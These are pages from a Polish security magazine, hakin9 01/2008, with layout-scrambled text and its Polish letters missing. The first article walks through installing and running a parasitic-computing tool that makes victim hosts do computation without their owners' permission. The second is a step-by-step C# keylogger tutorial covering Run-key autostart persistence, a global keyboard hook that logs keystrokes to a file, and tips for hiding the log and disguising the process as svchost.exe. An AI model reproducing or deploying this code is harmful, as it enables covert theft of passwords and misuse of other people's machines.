Obliczenia pasoytnicze w praktyce


Czy opisane techniki wystarczaj do praktycznego zastosowania oblicze pasoytniczych w postaci skonstruowania gigantycznego superkomputera i zagroenia technikom kryptograficznym? Okazuje si, e nie do koca. Omawiane podejcie prezentuje jak najbardziej godny uwagi, wrcz rewolucyjny sposb spojrzenia na moliwoci prowadzenia oblicze rozproszonych, ale sprawa komplikuje si po rozwaeniu kilku dodatkowych czynnikw.

Listing 3. Polecenie sh do wylistowania hosta


sh Hostname -------------------192.168.0.2 192.168.0.3 Address --------------192.168.0.2 192.168.0.3 Packets Timeouts Enabled Falsepos. -----------------------------0 0 yes untested 0 0 yes untested

38

hakin9 Nr 01/2008

www.hakin9.org

Techniki oblicze pasoytniczych

Problemy wielomianowe

Problemy wielomianowe to takie zadania, dla ktrych na maszynie Turinga moliwe jest wygenerowanie rozwizania w czasie wielomianowo proporcjonalnym do dugoci danych wejciowych. Czas potrzebny do rozwizania takiego problemu jest bezporednio zaleny od dugoci danych wejciowych podniesionych do staej potgi. Dla problemw klasy NP (niewielomianowych) nie ma takich rozwiza. Dla tej klasy problemw niewielki wzrost dugoci danych wejciowych wywouje znaczne wyduenie czasu rozwizywania problemu (czas moe rosn wykadniczo). Dla problemw NP-zupenych bdcych podzbiorem problemw klasy NP udowodniono brak rozwiza w czasie proporcjonalnym do wielomianowego. W przypadku nietrywialnych danych wejciowych problemy NP s trudne w rozwizywaniu.

wyposaona zostaa w zestaw rejestrw, ktre wykorzystywane s do wykonywania zada. Rejestry posiadaj oznaczenia rn gdzie n okrela numer rejestru. Wyrni mona tu trzy typy rejestrw: r0 rejestr instrukcji. Przeznaczony do przechowywania numeru aktualnie wykonywanej instrukcji. Manipulacja jego zawartoci pozwala na sterowanie przebiegiem zadania, r1 rejestr flagi. Pozwala na wykrywanie warunku zakoczenia dziaania ptli. Przyjmuje warto 1, gdy w ktrym z rejestrw oglnego przeznaczenia dojdzie do przepenienia wywoanego dziaaniem instrukcji ADD (instrukcje omwione zostay poniej), r2...rn rejestry oglnego przeznaczenia. Mona przechowywa w nich wartoci oraz wykonywa operacje arytmetyczne.

Pierwszy problem rodzi mechanizm identyfikowania prawidowych rozwiza. W przypadku niepoprawnego obliczenia sumy kontrolnej pakietu przez komputer-ofiar, TCP usuwa pakiet i nie generuje adnej odpowiedzi. W efekcie trudne jest ustalenie, czy nie otrzymalimy odpowiedzi wskutek faktycznie niepoprawnej sumy kontrolnej, czy te na przykad w wyniku zmiany polityki firewalla lub po prostu odczenia komputera-ofiary od sieci. Drugim aspektem trudnoci wykorzystania informatyki pasoytniczej w obecnej postaci jest fakt duego zapotrzebowania na pasmo potrzebne do rozesania wielkiej iloci pakietw SAT. Samo przygotowanie takich pakietw rwnie wymaga sporej mocy obliczeniowej. Czynniki te powoduj, e na dzie dzisiejszy opisywane podejcie nie jest wystarczajco wydajne, aby mogo suy budowie i praktycznemu wykorzystaniu gigantycznego klastra zbudowanego z milionw komputerw znajdujcych si w Internecie. gii jest stworzona przez Jrga Reussera oraz Luziana Scherrera maszyna wirtualna. Oprogramowanie to jest publicznie dostpne pod adresem http://szene.ch/parasit/. Omawiana maszyna jest w peni programowalna i zdolna rozwiza dowolny znany problem matematyczny. W celu zainstalowania oprogramowania pasoytniczej maszyny wirtualnej, naley pobra kod rdowy. Dostpny jest on pod adresem http:// szene.ch /parasit /code /parasitic_ computing.tar.gz Niniejszy artyku zawiera opis wykorzystania omawianej aplikacji w systemie Linux. Po pobraniu archiwum naley je rozpakowa. Mona to zrobi poleceniem:
tar -zxf parasitic_computing.tar.gz

Nastpnie przechodzimy do instalacji:


make make install

Autorzy aplikacji stworzyli zestaw instrukcji pozwalajcy na definiowanie zada obliczeniowych realizowanych na zdalnych maszynach. Jzyk ten bazuje na klasycznym assemblerze. Okrelony zosta jako 4IA , co oznacza czteroinstrukcyjny assembler (4 Instruktionen Assembler). Zgodnie z nazw, posiada on cztery podstawowe instrukcje: HLT instrukcja przerywa wykonanie zadania obliczeniowego, SET dst, const instrukcja umieszcza warto const w rejestrze okrelonym na pozycji dst, MOV dst, src instrukcja ta kopiuje warto rejestru src do rejestru okrelonego jako dst, ADD dst, src instrukcja ADD pozwala na dodanie wartoci przechowywanej w rejestrze src do wartoci rejestru dst. Wynik zapisa-

Przykadowa aplikacja pasoytnicza

Dobrym przykadem aplikacji realizujcej obliczenia pasoytnicze przy wykorzystaniu omawianej metodolo-

Aplikacja instaluje si domylnie w katalogu /usr/local, a wic wariant ten wymaga uprawnie do zapisuw tym katalogu. Aby zmieni docelowy katalog, naley zmieni warto zmiennej PREFIX w pliku Makefile. Do korzystania z programu konieczne jest zrozumienie podstaw jego dziaania. Maszyna wirtualna

Listing 4. Ilo pakietw pasoytniczych


sh Hostname -------------------192.168.0.2 192.168.0.3 Address --------------192.168.0.2 192.168.0.3 Packets Timeouts Enabled Falsepos. -----------------------------817 0 yes untested 809 0 yes untested

www.hakin9.org

hakin9 Nr 01/2008

39

Atak

Pasoyt HTTP TCP IP Sie Interfejs fizyczny Poprawne rozwizanie

Ofiara HTTP TCP IP Sie

winny by wczone), otrzymamy komunikat:


Execution successfully terminated.

Pasoyt

Pakiet odrzucony z powodu bdnej sumy kontrolnej Bdne rozwizanie brak odpowiedzi

Rysunek 1. Prototyp pasoytniczego komputera ny zostaje w rejestrze dst. Jeli dojdzie do przepenienia zakresu rejestru, ustawiona zostaje flaga r1. Zestaw powyszych instrukcji wystarcza do realizacji kadej operacji arytmetycznej. Jako przykad zrealizowana zostanie prosta operacja odejmowania. Trywialny problem 100 - 5 zdefiniowa mona w nastpujcy sposb: Tak przygotowany program gotowy jest do uruchomienia na pasoytniczej maszynie. Sama maszyna uruchamiana jest przy wykorzystaniu polecenia:
/usr/local/bin/pshell

Wyniki (stan rejestrw) obejrze mona przy wykorzystaniu polecenia sr. Rejestr r9 przechowuje zgodn z oczekiwaniami warto 100 5 = 95. Obliczenia powiody si. Teraz zobaczy mona take, ile pasoytniczych pakietw wysanych zostao do poszczeglnych komputerw. Szczegowe statystyki obejrze mona po wydaniu polecenia ss. Przykady bardziej skomplikowanych zada dostarczone s wraz z maszyn wirtualn i po instalacji znale je mona w katalogu /usr/ local/share/parasit/4ia/. Struktur wysyanych pakietw mona obejrze na maszynachofiarach przy wykorzystaniu dowolnego sniffera sieciowego (najlepiej Wireshark). Obserwowa naley pakiety ICMP przesyane midzy ofiar i pasoytem, poniewa pasoytniczy mechanizm oblicze zosta zaimplementowany przy wykorzystaniu wanie tego protokou.

niepoprawna suma kontrolna (brak odpowiedzi) niepoprawna suma kontrolna (brak odpowiedzi) Ofiara

Poprawna suma kontrolna (odpowied) Znaleziono poprawne rozwizanie!

Ofiara

Ofiara

Rysunek 2. Dziaania mechanizmu oblicze pasoytniczych dotyczcych wykorzystywania mocy obliczeniowej maszyn znajdujcych si w Internecie bez pozwolenia ich wacicieli. Wszystko to skania do refleksji na temat okrelenia granic wasnoci zasobw Internetu.

Podsumowanie

Aspekty legalnoci

Najpierw naley przygotowa plik z adresami IP komputerw, ktre wykorzystane zostan jako ofiary. Adresy rozdzielane s znakami nowej linii. Po przygotowaniu pliku i uruchomieniu pshell, naley go zaadowa:
lh /sciezka/do/pliku/adresow_IP

Mimo, e informatyka pasoytnicza nie narusza integralnoci systemw wykonujcych zlecone obliczenia, moe powodowa opnienia ich dziaania. Due iloci pakietw przesyane do interfejsw sieciowych powoduj efekty podobne do ataku typu Denial of Service. Z tego powodu powstaje szereg pyta natury etyczno-prawnej

Podsumowujc, da si zauway, e informatyka pasoytnicza zaciera granice pomidzy komunikacj a obliczeniami w sieci. Udowodniono, e moliwe jest wymuszenie uytecznych oblicze na zdalnych komputerach przy wykorzystaniu samej infrastruktury obecnego Internetu. Mimo, i w praktyce zastosowanie oblicze pasoytniczych w ich obecnej formie jest mocno ograniczone, otwiera drog do kolejnych eksperymentw i znaczco wpywa na aspekty spojrzenia na Internet. l

Przykad:
lh /home/parasite/hosts Hostlist loaded

W Sieci
http://www.nd.edu/~parasite/ strona twrcw idei informatyki pasoytniczej wykorzystujcej mechanizmy protokow internetowych, http://szene.ch/parasit/ strona z implementacjami oprogramowania wykorzystujcego techniki oblicze pasoytniczych.

Hosty wylistowa mona przy wykorzystaniu polecenia sh : W celu wykonania napisanego zadania posuy naley si nastpujcym poleceniem:
xp /home/parasite/sub.4ia

O autorze

Jeli wszystko zakoczy si powodzeniem (hosty ofiary po-

Aktualnie jest studentem drugiego roku SUM Informatyki na Akademii Grniczo-Hutniczej w Krakowie. Do jego gwnych zainteresowa naley programowanie, administracja systemw komputerowych oraz aspekty bezpieczestwa informatycznego. Kontakt z autorem: michal.stys@gmail.com

40

hakin9 Nr 01/2008

www.hakin9.org

C#.NET podsuchiwanie klawiatury


Atak
Sawomir Orowski, Maciej Pakulski

stopie trudnoci

Skomplikowane i czsto aktualizowane haso, ktre oprcz liter zawiera rwnie cyfry i znaki specjalne, to bardzo dobry sposb obrony przed nieautoryzowanym dostpem. Pod warunkiem, e nie jestemy podsuchiwani w trakcie jego wprowadzania.

iszc o podsuchiwaniu hasa, nie mamy oczywicie na myli przypadku podsuchiwania mwicego sobie pod nosem uytkownika, ktry wanie wprowadza swoje haso. Chodzi nam o program, ktry bez wiedzy uytkownika bdzie zapisywa wszystkie nacinite klawisze. Bdzie go mg napisa nawet rednio zaawansowany programista, znajcy system Windows. Wida zatem, e jest to realne zagroenie. Przyjrzyjmy si teraz, jak system Windows opiekuje si uruchamianymi programami. Dziaanie aplikacji okienkowych polega przede wszystkim na reagowaniu na zdarzenia. Zdarzenia to nic innego jak wyniki interakcji uytkownika z aplikacj. Jest to wic klikanie, przyciskanie, upuszczanie, przeciganie oraz inne akcje, ktre mona wykona w aplikacji. Piszc jaki program pod Windows w rodowiskach RAD (ang. Rapid Application Development), musimy stworzy metody zdarzeniowe zwizane z konkretnymi zdarzeniami dla kontrolek aplikacji. W zalenoci od jzyka programowania bd platformy uruchomieniowej mamy do dyspozycji rne mechanizmy reakcji na zdarzenia w aplikacji. Dla platformy .NET bd to delegacje, w C++ Bulider wskaniki na funkcje, a dla Javy specjalne obiekty nasuchujce. Skd jednak aplikacja wie, e jej przycisk

zosta kliknity? Tak informacj dostaje od systemu Windows. Utrzymuje on dla kadego uruchomionego programu kolejk, ktra przechowuje zdarzenia. Zdarzeniem, ktre nas najbardziej w tym momencie interesuje, jest nacinicie klawisza na klawiaturze. Aby je przechwyci, musimy monitorowa komunikaty wysyane do uruchomionych w systemie aplikacji. Nie jest to zadanie specjalnie skomplikowane (nie musimy modyfikowa np. jdra), poniewa system Windows udostpnia mechanizm hakw (ang. hooks). Zosta on ju opisany przez Jacka Matulewskiego w nume-

Z artykuu dowiesz si
jak dziaaj haki w systemie Windows, jak dodawa wpisy do rejestru systemowego, jak z poziomu kodu C# podsuchiwa klawiatur.

Co powiniene wiedzie
podstawy programowania zorientowanego obiektowo, podstawy dziaania systemu Windows, podstawowa znajomo sieci komputerowych.

42

hakin9 Nr 01/2008

www.hakin9.org

C#.NET podsuchiwanie klawiatury

rze 4/2007, jednak pod nieco innym ktem. My zajmiemy si uyciem hakw w kodzie C#. Bdziemy zmuszeni do skorzystania z funkcji WinAPI oraz metod specyficznych dla Windows, co jest pogwaceniem idei platformy uruchomieniowej.

C# jest jzykiem silnie obiektowym, to wspomniane typy wyliczeniowe musimy zadeklarowa jako pola klasy reprezentujcej nasz program. Parame-

try, jakie przyjmuje nasza metoda, to nazwa klucza (zmienna name), cieka dostpu i nazwa pliku wykonywalnego, ktry chcemy uruchomi (zmienna exe)

Listing 1. Metoda sprawdzajca, dodajca lub usuwajca wpis w autostarcie systemu Windows
enum asOperation { asCheck, asWrite, asDelete }; enum asValue { yes, no, error }; private static asValue InsertInAutostart(string name, string exe, asOperation operation) { const string key = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; try { RegistryKey rg = Registry.CurrentUser.OpenSubKey(key, true); switch (operation) { case asOperation.asCheck: if (rg.GetValue(name) != null) return asValue.yes; else return asValue.no; case asOperation.asWrite: rg.SetValue(name, exe); rg.Close(); return asValue.yes; case asOperation.asDelete: rg.DeleteValue(name); rg.Close(); return asValue.yes; } return asValue.no; } catch { return asValue.error; } }

Dodawanie wpisw do autostartu

Idea platformy uruchomieniowej polega na przenaszalnoci programu na poziomie kodu i aplikacji pomidzy systemami operacyjnymi. Jednak Linux nie posiada czego takiego, jak rejestr. W zwizku z tym nasz program, pomimo tego, e jest pisany dla platformy .NET, bdzie dziaa poprawnie jedynie dla systemu operacyjnego Windows. Inn kwesti pozostaje, czy firmie Microsoft naprawd zaley na przenaszalnoci kodu pomidzy systemami innymi ni Windows. Zanim rozpoczniemy tworzenie hakw, napiszemy metod, ktra bdzie dodawaa wpisy do autostartu. Pozwoli to uruchomi nasz program przy kadym starcie systemu. Poniewa, jak napisaem wczeniej, rejestr systemowy jest specyficzny dla Windows, twrcy .NET postanowili wszystkie klasy z nim zwizane umieci w przestrzeni nazw Microsoft, a nie System. Dane dotyczce automatycznie uruchamianych programw przechowuje klucz Software\Microsoft\Windows\ CurrentVersion\Run rejestru systemowego. Jeeli zapiszemy ciek z plikiem .exe w kluczu HKEY_CURRENT_USER, nasza aplikacja bdzie uruchamiana po wlogowaniu si aktualnie zalogowanego uytkownika. Jeeli zapiszemy j w HKEY_LOCAL_MACHINE, program uruchamiany bdzie po wlogowaniu si dowolnego uytkownika. W naszej wersji niech bdzie to aktualny uytkownik. Musimy doda jeszcze w sekcji using przestrze nazw Microsoft.Win32. Metoda realizujca nasze zadanie przedstawiona jest na Listingu 1. Na pocztku metody znajduje si deklaracja typw wyliczeniowych, ktre przydadz nam si do okrelenia rodzaju operacji, jak chcemy wykona (typ asOperation) oraz do okrelenia, czy si ona udaa (asValue). Poniewa

Listing 2. Import funkcji WinAPI


[DllImport("user32.dll")] private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); [DllImport("user32.dll")] private static extern int ToAscii(uint uVirtKey, uint uScanCode, byte[] lpKeyState, ref char lpChar, uint flags); [DllImport("user32.dll")] private static extern bool GetKeyboardState(byte[] data); [DllImport("user32.dll")] static extern short GetKeyState(int nVirtKey);

Listing 3. Pola klasy TestDll


private private private private private private private static char caughtChar; static string path = "C:\\plik.txt"; const byte VK_SHIFT = 0x10; const byte VK_CAPITAL = 0x14; static bool CapsLockDown; static bool ShiftDown; const uint WM_KEYDOWN = 0x0100;

www.hakin9.org

hakin9 Nr 01/2008

43

Atak

oraz rodzaj operacji, jak chcemy wykona (stworzony przez nas typ wyliczeniowy asOperation). Aby stworzy obiekt reprezentujcy klucz rejestru, uywamy metody OpenSubKey. W zalenoci od tego, czy jest to metoda wasnoci CurrentUser, czy LocalMachine, wpis stworzony bdzie odpowiednio w HKEY_CURRENT_USER lub w HKEY_LOCAL_MACHINE. Do sprawdzenia wartoci klucza suy metoda GetValue. Do zapisu klucza uywamy metody SetValue, a do jego usunicia DeleteValue. Kada z tych |metod moe generowa wyjtek, dodatkowo sam proces tworzenia obiektu klasy RegistryKey moe spowodowa zgoszenie wyjtku w zwizku z tym cao umieszczamy w bloku ochronnym try-catch. Wyjtki mog by spowodowane brakiem dostpu do rejestru lub konkretnego klucza. Wywoanie tej metody najlepiej umieci w kodzie wykonywanym w trakcie uruchamiania programu. Moe to by konstruktor formy bd zdarzenie Load w przypadku aplikacji Windows Forms. Moemy wtedy sprawdzi, czy istnieje w rejestrze odpowiedni klucz i w przypadku jego braku utworzy go. Umiemy ju umieszcza nasz aplikacj w autostarcie. Jednak po uruchomieniu bdzie nadal widoczna w oknie menadera zada. W syste-

mach Windows poczwszy od 2000 nie ma, na szczcie, atwego sposobu, aby usun nazw procesu z menadera zada. Ale moemy udawa proces systemowy. Wystarczy nazwa nasz program np. svchost.exe. Ta prosta sztuczka zadziaa w wikszoci przypadkw. Mona jeszcze uruchomi program w trybie usugi.

Windows hooks

Jak wspomnielimy na pocztku, dziaanie systemu Windows opiera si na przekazywaniu komunikatw (ang. Windows messages). Haki pozwalaj nam na zainstalowanie specjalnych funkcji monitorujcych, ktrych zadaniem jest przetwarzanie komunikatw Windows, nim dotr do konkretnej aplikacji. Do dyspozycji mamy kilka typw hakw i dla kadego takiego typu system tworzy tzw. acuch funkcji monitorujcych. W momencie zajcia zdarzenia zwizanego z okrelonym typem hakw komunikat Windows kierowany jest najpierw do funkcji monitorujcych znajdujcych si w okrelonym acuchu. Typ haka determinuje czynnoci, ktre funkcja monitorujca moe przeprowadzi na przechwyconym komunikacie. Niektre typy pozwalaj tylko na odczyt danych z komunikatu. Istniej rwnie takie, dziki ktrym komunikat moe by zmodyfiko-

Listing 4. Metoda zapisujca przechwycone klawisze do pliku tekstowego


private static void SaveChar(char theChar, string where) { if(File.Exists(where)) { using (StreamWriter sw = File.AppendText(where)) { sw.Write(theChar); // nowa linia if (theChar == '\r') sw.Write('\n'); } } else { using (StreamWriter sw = File.CreateText(where)) { sw.Write(theChar); if (theChar == '\r') sw.Write('\n'); } } }

wany a take moe nie dotrze do wybranej aplikacji. Funkcje monitorujce mog mie zasig lokalny bd globalny (zwany rwnie systemowym). Zasig lokalny daje funkcji monitorujcej moliwo przechwycenia komunikatw zdarze, ktre zaszy tylko wewntrz wtku, w ktrym funkcja zostaa zainstalowana. Wtek mona kojarzy z konkretnym programem. Zasig globalny pozwala na odbieranie komunikatw zdarze, ktre zaszy w kadym wtku dziaajcym w systemie. Jednake, jeeli funkcja monitorujca ma mie zasig globalny, jej kod musi by umieszczony w bibliotece czonej dynamicznie (DLL). Program podsuchujcy klawiatur bdzie si skada z dwch projektw. Pierwszy bdzie zawiera bibliotek DLL, poniewa chcemy przechwytywa komunikaty wygenerowane dla kadej aplikacji dziaajcej w systemie. Drugi projekt bdzie odpowiedzialny za zainstalowanie funkcji monitorujcej. Funkcja monitorujca bdzie skadow pisanej przez nas klasy, wic powinnimy uywa raczej okrelenia metoda. My jednak pozostaniemy przy terminie funkcja monitorujca, aby podkreli jej pochodzenie z biblioteki systemowej. Uywajc jedynie platformy .NET nie mamy moliwoci wykorzystania obiektw, ktre pozwalayby nam na korzystanie z hakw. Jest to naturalna konsekwencja zwizana z przenaszalnoci kodu. Bdziemy musieli wic wykorzysta niektre funkcje WinAPI z bibliotek DLL systemu Windows. Do importu funkcji z bibliotek DLL suy polecenie DllImport. Aby wygodnie go uywa, do projektu w sekcji using naley doda przestrze nazw System.Runtime. InteropServices. Polecenie DllImport ma nastpujc skadni:
[DllImport(nazwa_pliku_DLL)] Modyfikator _ dostpu parametry}; static extern typ _ zwracany NazwaFunkcji(

Parametry s opcjonalne, poniewa istnieje wiele funkcji, ktre nie przyjmuj adnych parametrw. Warto doda, i importujc funkcje WinAPI moemy napotka problem z wybo-

44

hakin9 Nr 01/2008

www.hakin9.org

C#.NET podsuchiwanie klawiatury

rem odpowiedniego typu dla wskanikw i uchwytw. Dla platformy .NET s one reprezentowane przez struktur IntPtr.

parametr, w ktrym zostanie zapisany znak w kodzie ASCII, flags flagi dotyczce menu.
lpChar

Tworzymy bibliotek czon dynamicznie

W czci tej stworzymy bibliotek DLL, ktra bdzie zawiera funkcj monitorujc. Wanie t bibliotek bdziemy wstrzykiwa w strumie komunikatw systemu Windows. Do przygotowania programu uyjemy darmowego rodowiska Visual C# 2005 Express Edition. Mona je pobra ze stron firmy Microsoft. Odpowiedni link znajduje si w ramce W Sieci. Uruchamiamy Visual C# 2005 i wybieramy File > New Project > Class Library i nadajemy naszemu projektowi nazw TestDll. Jak zawsze, rodowisko Visual C# 2005 Expres Edition generuje pewien szablon kodu. Dodamy teraz do utworzonego szkieletu klasy odpowiednie metody i pola. Zaczniemy od zaimportowania czterech funkcji WinAPI, ktre pochodzi bd z biblioteki user32.dll (Listing 2). Pierwsza funkcja to CallNextHookEx . Ma ona za zadanie przekaza komunikat otrzymany przez funkcj monitorujc do kolejnej funkcji monitorujcej. Jej pierwszym parametrem jest uchwyt do aktualnie zainstalowanej funkcji monitorujcej. Pozostae parametry zostan omwione, gdy zdefiniujemy funkcj monitorujc. Warto zwracana przez funkcj jest rna w zalenoci od typu haka. Kolejne z importowanych funkcji umoliwiaj odczytanie znaku wcinitego klawisza klawiatury z odebranego komunikatu. Funkcja ToAscii suy do zamiany kodu wirtualnego klawisza na odpowiedni znak w kodzie ASCII. Jej parametry to: wirtualny kod klawisza, uScanCode tzw. hardware scan code. Najbardziej znaczcy bit tego parametru jest ustawiony, jeeli klawisz nie jest wcinity, lpKeyState 256-elementowa tablica, ktra zawiera aktualny stan klawiatury. Kady element tablicy przechowuje status jednego klawisza,
uVirtKey

Jeeli funkcja zadziaa poprawnie, wwczas zwracana jest warto niezerowa. Do okrelania aktualnego stanu klawiatury suy kolejna funkcja o nazwie GetKeyboardState. Parametrem funkcji jest 256-elementowa tablica zmiennych typu byte, w ktrej zostanie zapisany aktualny stan klawiatury. Jeeli funkcja zadziaa poprawnie, rwnie zwraca warto rn od 0. W celu okrelenia stanu pojedynczego klawisza skorzystamy z funkcji GetKeyState. Parametrem funkcji jest wirtualny kod klawisza, ktrego stan chcemy okreli. Klawisz moe by wcinity, zwolniony lub przeczony. Terminem klawisz jest przeczony bdziemy oznacza stan, w ktrym wcinicie wybranego klawisza powoduje uaktywnienie pewnego trybu (np. wcinicie klawisza Caps Lock powoduje wczenie trybu pisania duymi literami). Warto zwracana przez funkcj GetKeyState informuje nas o stanie wybranego klawisza. Jeeli najbardziej znaczcy bit zwracanej wartoci jest ustawiony, to klawisz jest wcinity. W przeciwnym wypadku jest zwolniony. Jeeli najmniej znaczcy

bit jest ustawiony, wwczas wybrany klawisz jest przeczony. W przeciwnym wypadku nie jest przeczony. Moemy teraz przej do dodania pl do naszej klasy (Listing 3). W pierwszym z nich zapiszemy nasz przechwycony znak (caughtChar). Pole path typu string bdzie okrelao ciek do pliku, w ktrym bdziemy zapisywa przechwycone znaki. Jest on plikiem tekstowym, aby mona byo w prosty sposb sprawdzi dziaanie programu. Jednake w celu lepszego ukrycia tego pliku moglibymy np. zapisywa znaki w pliku binarnym i umieci go w folderze $Windows\System (jeeli posiadamy do niego prawa zapisu), gdzie przecitny uytkownik rzadko zaglda jest zreszt wiele innych miejsc na dysku, gdzie nasz plik moe spokojnie egzystowa, nie nkany przez uytkownika. Oczywicie nazwa pliku te powinna by wtedy inna. Kolejne cztery pola zwizane s z klawiszami Shift i Caps Lock. Stae VK _ SHIFT i VK _ CAPITAL oznaczaj odpowiednio kody klawiszy wirtualnych Shift i Caps Lock. Pole ShiftDown bdzie przyjmowa warto true, jeeli klawisz Shift jest wcinity. W przeciwnym wypadku pole to przyjmie warto false. Pole CapsLockDown bdzie przyjmowa warto true, jeeli klawisz CapsLock zosta prze-

Listing 5. Metoda odczytujca znak z przechwyconego komunikatu


private static char GetChar(int vkCode) { byte[] data = new byte[256]; GetKeyboardState(data); char myChar = ' '; uint scan = 0; ToAscii((uint)vkCode, scan, data, ref myChar, 0); return myChar; }

Listing 6. Definicja struktury KBDLLHOOKSTRUCT


[StructLayout(LayoutKind.Sequential)] public struct KBDLLHOOKSTRUCT { public int vkCode; public int scanCode; public int flags; public int time; public int dwExtraInfo; }

www.hakin9.org

hakin9 Nr 01/2008

45

Atak

czony, powodujc uaktywnienie trybu pisania duymi literami. Natomiast po wyczeniu tego trybu polu zostanie przypisana warto false. Ostatnim polem bdzie kod komunikatu systemu Windows, ktry jest generowany w momencie wcinicia niesystemowego klawisza klawiatury. Moemy teraz przej do napisania dwch prywatnych metod, ktre wykorzystywa bdzie funkcja monitorujca. Pierwsza z nich bdzie suy do zapisu okrelonego znaku w wybranym miejscu. Na pocztku musimy doda przestrze nazw SysListing 7. Funkcja monitorujca

tem.IO. Kod metody jest pokazany na Listingu 4.Na pocztku nastpuje sprawdzenie, czy wybrany plik ju istnieje. Jeeli tak, dopisujemy do niego kolejne dane. Jeeli nie istnieje, tworzymy go i zapisujemy w nim dane. Warto zwrci uwag, e dziki uyciu sowa kluczowego using nie musimy si martwi o zamknicie pliku. Druga metoda pozwoli nam na odczytanie z przechwyconego komunikatu znaku odpowiadajcego wcinitemu klawiszowi. Jako parametr przyjmuje ona kod wirtualnego klawisza. Funkcja zwraca odczytany znak.

Jej definicja jest pokazana na Listingu 5. Dziaanie tej metody sprowadza si do uycia dwch wczeniej zaimportowanych funkcji WinAPI z odpowiednimi parametrami. Moemy teraz przej do meritum sprawy, czyli napisania definicji funkcji monitorujcej (Listing 6). Funkcja bdzie przyjmowa nastpujce parametry:

public static IntPtr MonitorFunction(int code, IntPtr wParam, IntPtr lParam) { try { if (wParam.ToInt64() == WM_KEYDOWN && code >= 0) { KBDLLHOOKSTRUCT hookStruct = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(l Param, typeof(KBDLLHOOKSTRUCT)); // Shift wcinity ?? ShiftDown = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true : false); // Tryb pisania duymi literami wczony ?? CapsLockDown = (GetKeyState(VK_CAPITAL) != 0 ? true : false); caughtChar = GetChar(hookStruct.vkCode); if ((CapsLockDown ^ ShiftDown) && Char.IsLetter(caughtChar)) caughtChar = Char.ToUpper(caughtChar); if ((caughtChar == 0x0d && hookStruct.vkCode == 0x0d) || (caughtChar > 0x20 && caughtChar <= 0x7e) || (caughtChar == 0x20 && hookStruct.vkCode == 0x20)) SaveChar(caughtChar, path); } } catch {} return CallNextHookEx(IntPtr.Zero, code, wParam, lParam); }

okrela kod, na podstawie ktrego funkcja monitorujca przetwarza otrzymany komunikat. Jeeli parametr ten jest mniejszy od zera, to wymagane jest, aby funkcja monitorujca wywoaa funkcj CallNextHookEx i zwrcia warto zwracan przez t funkcj, wParam okrela identyfikator komunikatu klawiatury, lParam reprezentuje wskanik do struktury KBDLLHOOKSTRUCT. Aby mc korzysta z tej struktury, musimy j przedtem zdefiniowa. W tym celu przed definicj klasy dodajemy kod z Listingu 6.
code

Listing 8. Importowanie funkcji WinAPI


[DllImport("user32.dll")] private static extern IntPtr SetWindowsHookEx(int code, HookProc func, IntPtr hInstance, int threadID); [DllImport("user32.dll")] private static extern bool UnhookWindowsHookEx(IntPtr hhk); [DllImport("Kernel32.dll")] private static extern IntPtr GetModuleHandle(string moduleName);

Listing 9. Definicja pl klasy HookClass


private delegate IntPtr HookProc(int code, IntPtr wParam, IntPtr lParam); private static HookProc hookProc; private IntPtr result; private const int WH_KEYBOARD_LL = 0x0d;

Z naszego punktu widzenia najwaniejsze pole tej struktury to vkCode. Posuy nam ono jako parametr przekazywany do funkcji ToAscii. Parametry code, wParam oraz lParam s odpowiednio drugim, trzecim i czwartym parametrem funkcji CallNextHookEx . Na pocztku metody sprawdzamy, czy nastpio zdarzenie wcinicia klawisza niesystemowego oraz czy parametr code ma warto wiksz bd rwn zero. Uywamy statycznej metody PtrToStructure klasy Marshal w celu zamiany parametru lParam na struktur KBDLLHOOKSTRUCT. Metoda ta jako pierwszy parametr przyjmuje wskanik do niezarzdzanego bloku pamici (wskaniki na platformie .NET s reprezentowane przez struktur IntPtr). Drugi parametr to typ obiektu, ktry ma utworzy. Wartoci zwracan jest nowo utworzony obiekt klasy Object. Zawiera on dane wskazywane przez wskanik przekazany jako pierwszy parametr. Zwracan warto rzutujemy jeszcze na struktur KBDLLHOOKSTRUCT. Pierwsza instrukcja warunkowa if ustala wielko znakw

46

hakin9 Nr 01/2008

www.hakin9.org

C#.NET podsuchiwanie klawiatury

W Sieci
http://msdn.microsoft.com/msdnmag/issues/02/10/CuttingEdge artyku opisujcy haki w systemie Windows, http://msdn2.microsoft.com/en-us/library/ms997537.aspx kolejny artyku opisujcy haki w systemie Windows, http://msdn2.microsoft.com/en-us/express/aa975050.aspx witryna Microsoft, skd mona pobra rodowisko Visual C# 2005 Express Edition, http://www.codeproject.com zbir bardzo wielu przykadw aplikacji dla platformy .NET i nie tylko. Naprawd godny polecenia, http://www.codeguru.pl polska strona dla programistw .NET, http://msdn2.microsoft.com dokumentacja MSDN. Znajdziesz tu opisy wszystkich klas, wasnoci i metod, jakie zawiera platforma .NET wraz z przykadowymi programami.

bdcych literami. Druga konstrukcja if dba, aby tylko wybrane znaki byy zapisywane do pliku. Biblioteka DLL zostaa ju stworzona. Kolejnym krokiem bdzie stworzenie projektu, ktry uyje tej biblioteki w celu monitorowania klawiatury.

Instalujemy funkcj monitorujc

Zaczynamy od stworzenia nowego projektu Windows Forms Application. Nadajemy mu nazw TestHooks. Do projektu dodajemy now klas przez wybranie opcji Project > Add Class. W polu Name wpisujemy HookClass. W klasie tej umiecimy kod umoliwiajcy uruchomienie monitorowania klawiatury. Forma Form1 w tym projekcje bdzie symulowaa pewn aplikacj, w ktrej istnieje moliwo uycia opcji monitorowania klawiatury. Moemy teraz przej do napisania definicji klasy HookClass. Zaczniemy od importu potrzebnych funkcji WinAPI (Listing 8). Haki s instalowanie przez wywoanie funkcji SetWindowsHookEx . Parametry tej funkcji to: okrela typ haka, jaki chcemy zainstalowa, func delegacja dla zarejestrowanej funkcji monitorujcej, hInstance uchwyt do biblioteki DLL, ktra zawiera definicj funkcji monitorujcej, threadID okrela identyfikator wtku, z ktrym ma by zwizana funkcja monitorujca.
idHook

